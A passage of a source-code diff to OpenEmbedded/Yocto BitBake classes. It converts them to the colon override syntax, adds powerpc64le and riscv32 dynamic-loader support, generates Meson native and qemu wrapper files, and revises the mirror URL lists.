+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+}
+
diff --git a/meta/classes/linuxloader.bbclass b/meta/classes/linuxloader.bbclass
index 720e5dfad4..4447c8847c 100644
--- a/meta/classes/linuxloader.bbclass
+++ b/meta/classes/linuxloader.bbclass
@@ -1,6 +1,6 @@
def get_musl_loader_arch(d):
import re
- ldso_arch = None
+ ldso_arch = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch.startswith("microblaze"):
@@ -9,8 +9,8 @@ def get_musl_loader_arch(d):
ldso_arch = "mips${ABIEXTENSION}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
elif targetarch == "powerpc":
ldso_arch = "powerpc${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
- elif targetarch == "powerpc64":
- ldso_arch = "powerpc64"
+ elif targetarch.startswith("powerpc64"):
+ ldso_arch = "powerpc64${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'le', d)}"
elif targetarch == "x86_64":
ldso_arch = "x86_64"
elif re.search("i.86", targetarch):
@@ -32,7 +32,7 @@ def get_musl_loader(d):
def get_glibc_loader(d):
import re
- dynamic_loader = None
+ dynamic_loader = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch in ["powerpc", "microblaze"]:
dynamic_loader = "${base_libdir}/ld.so.1"
@@ -40,6 +40,8 @@ def get_glibc_loader(d):
dynamic_loader = "${base_libdir}/ld-linux-mipsn8.so.1"
elif targetarch.startswith("mips"):
dynamic_loader = "${base_libdir}/ld.so.1"
+ elif targetarch == "powerpc64le":
+ dynamic_loader = "${base_libdir}/ld64.so.2"
elif targetarch == "powerpc64":
dynamic_loader = "${base_libdir}/ld64.so.1"
elif targetarch == "x86_64":
@@ -52,13 +54,15 @@ def get_glibc_loader(d):
dynamic_loader = "${base_libdir}/ld-linux-aarch64${ARMPKGSFX_ENDIAN_64}.so.1"
elif targetarch.startswith("riscv64"):
dynamic_loader = "${base_libdir}/ld-linux-riscv64-lp64${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
+ elif targetarch.startswith("riscv32"):
+ dynamic_loader = "${base_libdir}/ld-linux-riscv32-ilp32${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
return dynamic_loader
def get_linuxloader(d):
overrides = d.getVar("OVERRIDES").split(":")
if "libc-baremetal" in overrides:
- return None
+ return "NotSupported"
if "libc-musl" in overrides:
dynamic_loader = get_musl_loader(d)
diff --git a/meta/classes/manpages.bbclass b/meta/classes/manpages.bbclass
index 1e66780646..5e09c77fe6 100644
--- a/meta/classes/manpages.bbclass
+++ b/meta/classes/manpages.bbclass
@@ -2,7 +2,7 @@
# depending on whether 'api-documentation' is in DISTRO_FEATURES. Such building
# tends to pull in the entire XML stack and other tools, so it's not enabled
# by default.
-PACKAGECONFIG_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
+PACKAGECONFIG:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
inherit qemu
@@ -10,15 +10,16 @@ inherit qemu
MAN_PKG ?= "${PN}-doc"
# only add man-db to RDEPENDS when manual files are built and installed
-RDEPENDS_${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
+RDEPENDS:${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
-pkg_postinst_append_${MAN_PKG} () {
+pkg_postinst:${MAN_PKG}:append () {
# only update manual page index caches when manual files are built and installed
if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
if test -n "$D"; then
- if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true','false', d)}; then
+ if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true', 'false', d)}; then
sed "s:\(\s\)/:\1$D/:g" $D${sysconfdir}/man_db.conf | ${@qemu_run_binary(d, '$D', '${bindir}/mandb')} -C - -u -q $D${mandir}
chown -R root:root $D${mandir}
+
mkdir -p $D${localstatedir}/cache/man
cd $D${mandir}
find . -name index.db | while read index; do
@@ -36,7 +37,7 @@ pkg_postinst_append_${MAN_PKG} () {
fi
}
-pkg_postrm_append_${MAN_PKG} () {
+pkg_postrm:${MAN_PKG}:append () {
# only update manual page index caches when manual files are built and installed
if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
mandb -q
diff --git a/meta/classes/meson-routines.bbclass b/meta/classes/meson-routines.bbclass
new file mode 100644
index 0000000000..be3aeedeba
--- /dev/null
+++ b/meta/classes/meson-routines.bbclass
@@ -0,0 +1,51 @@
+inherit siteinfo
+
+def meson_array(var, d):
+ items = d.getVar(var).split()
+ return repr(items[0] if len(items) == 1 else items)
+
+# Map our ARCH values to what Meson expects:
+# http://mesonbuild.com/Reference-tables.html#cpu-families
+def meson_cpu_family(var, d):
+ import re
+ arch = d.getVar(var)
+ if arch == 'powerpc':
+ return 'ppc'
+ elif arch == 'powerpc64' or arch == 'powerpc64le':
+ return 'ppc64'
+ elif arch == 'armeb':
+ return 'arm'
+ elif arch == 'aarch64_be':
+ return 'aarch64'
+ elif arch == 'mipsel':
+ return 'mips'
+ elif arch == 'mips64el':
+ return 'mips64'
+ elif re.match(r"i[3-6]86", arch):
+ return "x86"
+ elif arch == "microblazeel":
+ return "microblaze"
+ else:
+ return arch
+
+# Map our OS values to what Meson expects:
+# https://mesonbuild.com/Reference-tables.html#operating-system-names
+def meson_operating_system(var, d):
+ os = d.getVar(var)
+ if "mingw" in os:
+ return "windows"
+ # avoid e.g 'linux-gnueabi'
+ elif "linux" in os:
+ return "linux"
+ else:
+ return os
+
+def meson_endian(prefix, d):
+ arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
+ sitedata = siteinfo_data_for_machine(arch, os, d)
+ if "endian-little" in sitedata:
+ return "little"
+ elif "endian-big" in sitedata:
+ return "big"
+ else:
+ bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
diff --git a/meta/classes/meson.bbclass b/meta/classes/meson.bbclass
index 83aa854b7e..ffec5f3269 100644
--- a/meta/classes/meson.bbclass
+++ b/meta/classes/meson.bbclass
@@ -1,6 +1,11 @@
-inherit siteinfo python3native
+inherit python3native meson-routines qemu
-DEPENDS_append = " meson-native ninja-native"
+DEPENDS:append = " meson-native ninja-native"
+
+EXEWRAPPER_ENABLED:class-native = "False"
+EXEWRAPPER_ENABLED:class-nativesdk = "False"
+EXEWRAPPER_ENABLED ?= "${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)}"
+DEPENDS:append = "${@' qemu-native' if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ''}"
# As Meson enforces out-of-tree builds we can just use cleandirs
B = "${WORKDIR}/build"
@@ -12,7 +17,8 @@ MESON_SOURCEPATH = "${S}"
def noprefix(var, d):
return d.getVar(var).replace(d.getVar('prefix') + '/', '', 1)
-MESON_BUILDTYPE ?= "plain"
+MESON_BUILDTYPE ?= "${@oe.utils.vartrue('DEBUG_BUILD', 'debug', 'plain', d)}"
+MESON_BUILDTYPE[vardeps] += "DEBUG_BUILD"
MESONOPTS = " --prefix ${prefix} \
--buildtype ${MESON_BUILDTYPE} \
--bindir ${@noprefix('bindir', d)} \
@@ -26,66 +32,27 @@ MESONOPTS = " --prefix ${prefix} \
--sysconfdir ${sysconfdir} \
--localstatedir ${localstatedir} \
--sharedstatedir ${sharedstatedir} \
- --wrap-mode nodownload"
+ --wrap-mode nodownload \
+ --native-file ${WORKDIR}/meson.native"
-EXTRA_OEMESON_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OEMESON:append = " ${PACKAGECONFIG_CONFARGS}"
MESON_CROSS_FILE = ""
-MESON_CROSS_FILE_class-target = "--cross-file ${WORKDIR}/meson.cross"
-MESON_CROSS_FILE_class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
+MESON_CROSS_FILE:class-target = "--cross-file ${WORKDIR}/meson.cross"
+MESON_CROSS_FILE:class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
-def meson_array(var, d):
- items = d.getVar(var).split()
- return repr(items[0] if len(items) == 1 else items)
+# Needed to set up qemu wrapper below
+export STAGING_DIR_HOST
-# Map our ARCH values to what Meson expects:
-# http://mesonbuild.com/Reference-tables.html#cpu-families
-def meson_cpu_family(var, d):
- import re
- arch = d.getVar(var)
- if arch == 'powerpc':
- return 'ppc'
- elif arch == 'powerpc64' or arch == 'powerpc64le':
- return 'ppc64'
- elif arch == 'armeb':
- return 'arm'
- elif arch == 'aarch64_be':
- return 'aarch64'
- elif arch == 'mipsel':
- return 'mips'
- elif arch == 'mips64el':
- return 'mips64'
- elif re.match(r"i[3-6]86", arch):
- return "x86"
- elif arch == "microblazeel":
- return "microblaze"
- else:
- return arch
-
-# Map our OS values to what Meson expects:
-# https://mesonbuild.com/Reference-tables.html#operating-system-names
-def meson_operating_system(var, d):
- os = d.getVar(var)
- if "mingw" in os:
- return "windows"
- # avoid e.g 'linux-gnueabi'
- elif "linux" in os:
- return "linux"
- else:
- return os
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
+def rust_tool(d, target_var):
+ rustc = d.getVar('RUSTC')
+ if not rustc:
+ return ""
+ cmd = [rustc, "--target", d.getVar(target_var)] + d.getVar("RUSTFLAGS").split()
+ return "rust = %s" % repr(cmd)
addtask write_config before do_configure
-do_write_config[vardeps] += "CC CXX LD AR NM STRIP READELF CFLAGS CXXFLAGS LDFLAGS"
+do_write_config[vardeps] += "CC CXX LD AR NM STRIP READELF CFLAGS CXXFLAGS LDFLAGS RUSTC RUSTFLAGS"
do_write_config() {
# This needs to be Py to split the args into single-element lists
cat >${WORKDIR}/meson.cross <<EOF
@@ -96,17 +63,23 @@ ar = ${@meson_array('AR', d)}
nm = ${@meson_array('NM', d)}
strip = ${@meson_array('STRIP', d)}
readelf = ${@meson_array('READELF', d)}
+objcopy = ${@meson_array('OBJCOPY', d)}
pkgconfig = 'pkg-config'
llvm-config = 'llvm-config${LLVMVERSION}'
cups-config = 'cups-config'
+g-ir-scanner = '${STAGING_BINDIR}/g-ir-scanner-wrapper'
+g-ir-compiler = '${STAGING_BINDIR}/g-ir-compiler-wrapper'
+${@rust_tool(d, "HOST_SYS")}
+${@"exe_wrapper = '${WORKDIR}/meson-qemuwrapper'" if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ""}
-[properties]
-needs_exe_wrapper = true
+[built-in options]
c_args = ${@meson_array('CFLAGS', d)}
c_link_args = ${@meson_array('LDFLAGS', d)}
cpp_args = ${@meson_array('CXXFLAGS', d)}
cpp_link_args = ${@meson_array('LDFLAGS', d)}
-gtkdoc_exe_wrapper = '${B}/gtkdoc-qemuwrapper'
+
+[properties]
+needs_exe_wrapper = true
[host_machine]
system = '${@meson_operating_system('HOST_OS', d)}'
@@ -120,8 +93,46 @@ cpu_family = '${@meson_cpu_family('TARGET_ARCH', d)}'
cpu = '${TARGET_ARCH}'
endian = '${@meson_endian('TARGET', d)}'
EOF
+
+ cat >${WORKDIR}/meson.native <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+objcopy = ${@meson_array('BUILD_OBJCOPY', d)}
+pkgconfig = 'pkg-config-native'
+${@rust_tool(d, "BUILD_SYS")}
+
+[built-in options]
+c_args = ${@meson_array('BUILD_CFLAGS', d)}
+c_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+cpp_args = ${@meson_array('BUILD_CXXFLAGS', d)}
+cpp_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+EOF
+}
+
+do_write_config:append:class-target() {
+ # Write out a qemu wrapper that will be used as exe_wrapper so that meson
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${WORKDIR}/meson-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+# meson sets this wrongly (only to libs in build-dir), qemu-wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
+unset LD_LIBRARY_PATH
+
+$qemu_binary "\$@"
+EOF
+ chmod +x ${WORKDIR}/meson-qemuwrapper
}
+# Tell externalsrc that changes to this file require a reconfigure
CONFIGURE_FILES = "meson.build"
meson_do_configure() {
@@ -129,6 +140,16 @@ meson_do_configure() {
# https://github.com/mesonbuild/meson/commit/ef9aeb188ea2bc7353e59916c18901cde90fa2b3
unset LD
+ # sstate.bbclass no longer removes empty directories to avoid a race (see
+ # commit 4f94d929 "sstate/staging: Handle directory creation race issue").
+ # Unfortunately Python apparently treats an empty egg-info directory as if
+ # the version it previously contained still exists and fails if a newer
+ # version is required, which Meson does. To avoid this, make sure there are
+ # no empty egg-info directories from previous versions left behind. Ignore
+ # all errors from rmdir since the egg-info may be a file rather than a
+ # directory.
+ rmdir ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/*.egg-info 2>/dev/null || :
+
# Work around "Meson fails if /tmp is mounted with noexec #2972"
mkdir -p "${B}/meson-private/tmp"
export TMPDIR="${B}/meson-private/tmp"
@@ -138,33 +159,6 @@ meson_do_configure() {
fi
}
-override_native_tools() {
- # Set these so that meson uses the native tools for its build sanity tests,
- # which require executables to be runnable. The cross file will still
- # override these for the target build.
- export CC="${BUILD_CC}"
- export CXX="${BUILD_CXX}"
- export LD="${BUILD_LD}"
- export AR="${BUILD_AR}"
- export STRIP="${BUILD_STRIP}"
- # These contain *target* flags but will be used as *native* flags. The
- # correct native flags will be passed via -Dc_args and so on, unset them so
- # they don't interfere with tools invoked by Meson (such as g-ir-scanner)
- unset CPPFLAGS CFLAGS CXXFLAGS LDFLAGS
-}
-
-meson_do_configure_prepend_class-target() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-nativesdk() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-native() {
- export PKG_CONFIG="pkg-config-native"
-}
-
python meson_do_qa_configure() {
import re
warn_re = re.compile(r"^WARNING: Cross property (.+) is using default value (.+)$", re.MULTILINE)
diff --git a/meta/classes/meta.bbclass b/meta/classes/meta.bbclass
deleted file mode 100644
index 5e6890238b..0000000000
--- a/meta/classes/meta.bbclass
+++ /dev/null
@@ -1,4 +0,0 @@
-
-PACKAGES = ""
-
-do_build[recrdeptask] = "do_build"
diff --git a/meta/classes/metadata_scm.bbclass b/meta/classes/metadata_scm.bbclass
index 58bb4c555a..47cb969b8d 100644
--- a/meta/classes/metadata_scm.bbclass
+++ b/meta/classes/metadata_scm.bbclass
@@ -1,6 +1,3 @@
-METADATA_BRANCH ?= "${@base_detect_branch(d)}"
-METADATA_REVISION ?= "${@base_detect_revision(d)}"
-
def base_detect_revision(d):
path = base_get_scmbasepath(d)
return base_get_metadata_git_revision(path, d)
@@ -40,3 +37,8 @@ def base_get_metadata_git_revision(path, d):
except bb.process.ExecutionError:
rev = '<unknown>'
return rev.strip()
+
+METADATA_BRANCH := "${@base_detect_branch(d)}"
+METADATA_BRANCH[vardepvalue] = "${METADATA_BRANCH}"
+METADATA_REVISION := "${@base_detect_revision(d)}"
+METADATA_REVISION[vardepvalue] = "${METADATA_REVISION}"
diff --git a/meta/classes/mime-xdg.bbclass b/meta/classes/mime-xdg.bbclass
index 642a5b7595..271f48dd72 100644
--- a/meta/classes/mime-xdg.bbclass
+++ b/meta/classes/mime-xdg.bbclass
@@ -34,7 +34,7 @@ else
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
desktop_base = d.getVar('DESKTOPDIR')
@@ -59,16 +59,16 @@ python populate_packages_append () {
break
if desktops_with_mime_found:
bb.note("adding mime-xdg postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('mime_xdg_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('mime_xdg_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
bb.note("adding desktop-file-utils dependency to %s" % pkg)
- d.appendVar('RDEPENDS_' + pkg, " " + d.getVar('MLPREFIX')+"desktop-file-utils")
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"desktop-file-utils")
}
diff --git a/meta/classes/mime.bbclass b/meta/classes/mime.bbclass
index bb99bc35cb..8d176a884e 100644
--- a/meta/classes/mime.bbclass
+++ b/meta/classes/mime.bbclass
@@ -39,7 +39,7 @@ fi
fi
}
-python populate_packages_append () {
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
mimedir = d.getVar('MIMEDIR')
@@ -54,17 +54,17 @@ python populate_packages_append () {
break
if mimes_types_found:
bb.note("adding mime postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('mime_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('mime_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
if pkg != 'shared-mime-info-data':
bb.note("adding shared-mime-info-data dependency to %s" % pkg)
- d.appendVar('RDEPENDS_' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
}
diff --git a/meta/classes/mirrors.bbclass b/meta/classes/mirrors.bbclass
index 87bba41472..8e7b35d900 100644
--- a/meta/classes/mirrors.bbclass
+++ b/meta/classes/mirrors.bbclass
@@ -1,76 +1,76 @@
MIRRORS += "\
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \n \
-${GNU_MIRROR} https://mirrors.kernel.org/gnu \n \
-${KERNELORG_MIRROR} http://www.kernel.org/pub \n \
-${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \n \
-ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \n \
-ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \n \
-ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \n \
-ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \n \
-http://ftp.info-zip.org/pub/infozip/src/ http://mirror.switch.ch/ftp/mirror/infozip/src/ \n \
-http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \n \
-http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \n \
-${APACHE_MIRROR} http://www.us.apache.org/dist \n \
-${APACHE_MIRROR} http://archive.apache.org/dist \n \
-http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \n \
-${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \n \
-${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \n \
-ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \n \
-ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \n \
-ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \n \
-cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-https?$://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-cvs://.*/.* http://sources.openembedded.org/ \n \
-svn://.*/.* http://sources.openembedded.org/ \n \
-git://.*/.* http://sources.openembedded.org/ \n \
-hg://.*/.* http://sources.openembedded.org/ \n \
-bzr://.*/.* http://sources.openembedded.org/ \n \
-p4://.*/.* http://sources.openembedded.org/ \n \
-osc://.*/.* http://sources.openembedded.org/ \n \
-https?$://.*/.* http://sources.openembedded.org/ \n \
-ftp://.*/.* http://sources.openembedded.org/ \n \
-npm://.*/?.* http://sources.openembedded.org/ \n \
-${CPAN_MIRROR} http://cpan.metacpan.org/ \n \
-${CPAN_MIRROR} http://search.cpan.org/CPAN/ \n \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \
+${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \
+${GNU_MIRROR} https://mirrors.kernel.org/gnu \
+${KERNELORG_MIRROR} http://www.kernel.org/pub \
+${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \
+ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \
+ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \
+ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \
+ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \
+http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \
+http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \
+${APACHE_MIRROR} http://www.us.apache.org/dist \
+${APACHE_MIRROR} http://archive.apache.org/dist \
+http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \
+${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \
+${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \
+ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \
+ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \
+ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \
+cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+https?://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \
+cvs://.*/.* http://sources.openembedded.org/ \
+svn://.*/.* http://sources.openembedded.org/ \
+git://.*/.* http://sources.openembedded.org/ \
+hg://.*/.* http://sources.openembedded.org/ \
+bzr://.*/.* http://sources.openembedded.org/ \
+p4://.*/.* http://sources.openembedded.org/ \
+osc://.*/.* http://sources.openembedded.org/ \
+https?://.*/.* http://sources.openembedded.org/ \
+ftp://.*/.* http://sources.openembedded.org/ \
+npm://.*/?.* http://sources.openembedded.org/ \
+${CPAN_MIRROR} http://cpan.metacpan.org/ \
+${CPAN_MIRROR} http://search.cpan.org/CPAN/ \
+https?://downloads.yoctoproject.org/releases/uninative/ https://mirrors.kernel.org/yocto/uninative/ \
+https?://downloads.yoctoproject.org/mirror/sources/ https://mirrors.kernel.org/yocto-sources/ \
"
# Use MIRRORS to provide git repo fallbacks using the https protocol, for cases
# where git native protocol fetches may fail due to local firewall rules, etc.
MIRRORS += "\
-git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \n \
-git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \n \
-git://git.savannah.gnu.org/.* git://git.savannah.gnu.org/git/PATH;protocol=https \n \
-git://git.yoctoproject.org/.* git://git.yoctoproject.org/git/PATH;protocol=https \n \
-git://.*/.* git://HOST/PATH;protocol=https \n \
+git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \
+git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \
+git://.*/.* git://HOST/PATH;protocol=https \
+git://.*/.* git://HOST/git/PATH;protocol=https \
"
